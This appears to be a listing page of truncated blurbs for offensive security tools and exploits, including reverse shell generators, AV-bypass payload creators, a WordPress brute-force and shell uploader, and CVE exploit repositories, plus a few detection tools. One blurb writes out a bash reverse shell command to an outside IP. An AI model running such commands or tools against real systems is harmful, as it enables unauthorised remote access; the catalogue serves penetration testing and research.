Girsh

Girsh Golang Interactive Reverse SHell Who didn't get bored of manually typing the few lines to upgrade a reverse shell to a full interactive reverse shell tty spawn, stty size ..., stty raw -echo or typing the command to use ConPTY. Description With Girsh, just run it and it will detect the OS a...

notionterm

notionterm Embed reverse shell inNotion pages. Hack while taking notes FOR ➕: Hiding attacker IP in reverse shell No direct interaction between attacker and target machine. Notion is used as a proxy hosting the reverse shell Demo/Quick proof insertion within report High available and shareable...

PSAsyncShell

PSAsyncShell PSAsyncShell is an Asynchronous TCP Reverse Shell written in pure PowerShell. Unlike other reverse shells, all the communication and execution flow is done asynchronously, allowing to bypass some firewalls and some countermeasures against this kind of remote connections. Additionally...

micr0_shell

micr0 shell Micr0shell is a lightweight and efficient Python script designed for dynamically generating Windows X64 Position-Independent Code PIC Null-Free reverse shell shellcode. Depending on the options selected, the generated shellcode can be up to 27 bytes smaller than comparable shellcode...

pythoncode-tutorials

Python Code Tutorials This is a repository of all the tutorials of The Python Code website. List of Tutorials Ethical Hacking Scapy Getting Started With Scapy: Python Network Manipulation Tool Building an ARP Spoofer. code Detecting ARP Spoof attacks. code How to Make a DHCP Listener using Scapy ...

mcreator

mcreator Encoded Reverse Shell Generator With Techniques To Bypass AV's Installation root@kitploit: git clone https://github.com/blacknbunny/mcreator.git && cd mcreator/ && python mcreator.py Version python 2.7. can't be lower or higher than 2.7 cause of the """ syntax in scripts. Runnig mcreator...

SNOWCRASH

SNOWCRASH A polyglot payload generator Introduction SNOWCRASH creates a script that can be launched on both Linux and Windows machines. Payload selected by the user in this case combined Bash and Powershell code is embedded into a single polyglot template, which is platform-agnostic. There are fe...

persisthunt

Linux Persistence Detection, Hunting and Artifact Collection Summary Usage Example Detections Table of Techniques Summary persisthunt.sh helps speed up investigations by collecting targeted persistence-related artifacts and highlighting suspicious patterns commonly associated with Linux persisten...

One-Lin3r

One-Lin3r One-Lin3r is simple modular and light-weight framework gives you all the one-liners that you will need while penetration testing Windows, Linux, macOS or even BSD systems or hacking generally with a lot of new features to make all of this fully automated ex: you won't even need to copy...

ShellPop

ShellPop About Shellpop is all about popping shells. With this tool you can generate easy and sophisticated reverse or bind shell commands to help you during penetration tests. Don't waste more time with .txt files storing your Reverse shells! Installation Python 2.7 is required. 3.0+ version wil...

WPForce

WPForce - Wordpress Attack Suite ABOUT: WPForce is a suite of Wordpress Attack tools. Currently this contains 2 scripts - WPForce, which brute forces logins via the API, and Yertle, which uploads shells once admin credentials have been found. Yertle also contains a number of post exploitation...

JSshell

JSshell - version 3.1 JSshell - a JavaScript reverse shell. This is used for executing JS code remotely, exploiting blind XSS, ... Requirements: Any OS + Python 2 or Python 3 New in JSshell version 3.1 Updated in the new version of JShell 3.1: New JSshell command: snippet - allows to write a...

mediator

Mediator is an end-to-end encrypted reverse shell in which the operator and the shell connect to a "mediator" server that bridges the connections. This removes the need for the operator/handler to set up port forwarding in order to listen for the connection. Mediator also allows you to create...

QuasarNix

QuasarNix: Adversarially Robust Living-off-the-Land Reverse-Shell Detection Dmitrijs Trizna · Luca Demetrio · Battista Biggio · Fabio Roli Overview Linux living-off-the-land LOTL reverse shells abuse legitimate binaries bash, python, nc, … to establish covert outbound connections, making...

secbutler

Essential utilities for pentester, bug-bounty hunters and security researchers Features • Usage • Installation • License • secbutler is a utility tool made for pentesters , bug-bounty hunters and security researchers that contains all the most used and tedious stuff commonly used while performing...

CVE-2021-31630

OpenPLC WebServer v3 - RCE Autenticado CVE-2021-31630 Este exploit está basado en el exploit de Exploit-DB hecho por Fellipe Oliveira. Primero, autenticarse Subir un archivo C malicioso Compilarlo Iniciar el PLC iniciar reverse shell Detener el PLC no es necesario ejecutarlo, la reverse shell ya ...

CVE-2018-12613

CVE-2018-12613 Exploit independiente modificado, portado a Python 3. Probado en Python 3.7.3 y phpMyAdmin 4.8.1 sobre Ubuntu 16.04. Solo funciona en Linux. Exploit original de SSD. Todo el crédito es suyo. Cambios realizados 1. Se añadió una función para salir si el nombre de usuario/contraseña d...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE 此仓库包含针对 Nostromo Web Server 1.9.6 中 CVE-2019-16278 的利用程序，通过目录遍历漏洞实现远程代码执行。该脚本使用 pwntools 建立反向 Shell。仅用于教育和授权测试。 依赖要求 Python 3.x pwntools 库 要安装 pwntools，请使用： root@kitploit: pip3 install pwntools 使用方法 设置 1. 启动监听器 ：在攻击机上，在指定端口启动监听器以接收反向 Shell： root@kitploit: nc -lvn...

CVE-2024-47533

root@kitploit: Reverse shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' Simple command python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' Drop SSH key python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd...

Corsair---DLL-Planting-CVE-2023-38822

Corsair —— DLL 种植漏洞 CVE-2023-38822 Corsair iCUE v.5.3.102 中的 DLL 种植漏洞（CVE-2023-38822） 发现者：Idan Malihi 描述 Corsair iCUE v.5.3.102 中的一个问题允许本地攻击者通过 MPDC.dll、CRYPTSP.dll、dcomp.dll、profapi.dll 和 MSASN1.dll 组件执行任意代码。 复现步骤 要利用 DLL 种植漏洞，攻击者应执行以下步骤： 1. 下载 iCUE 的最新版本。 2. 安装 iCUE 产品。 3. 打开安装路径文件夹，例如 C:\Progr...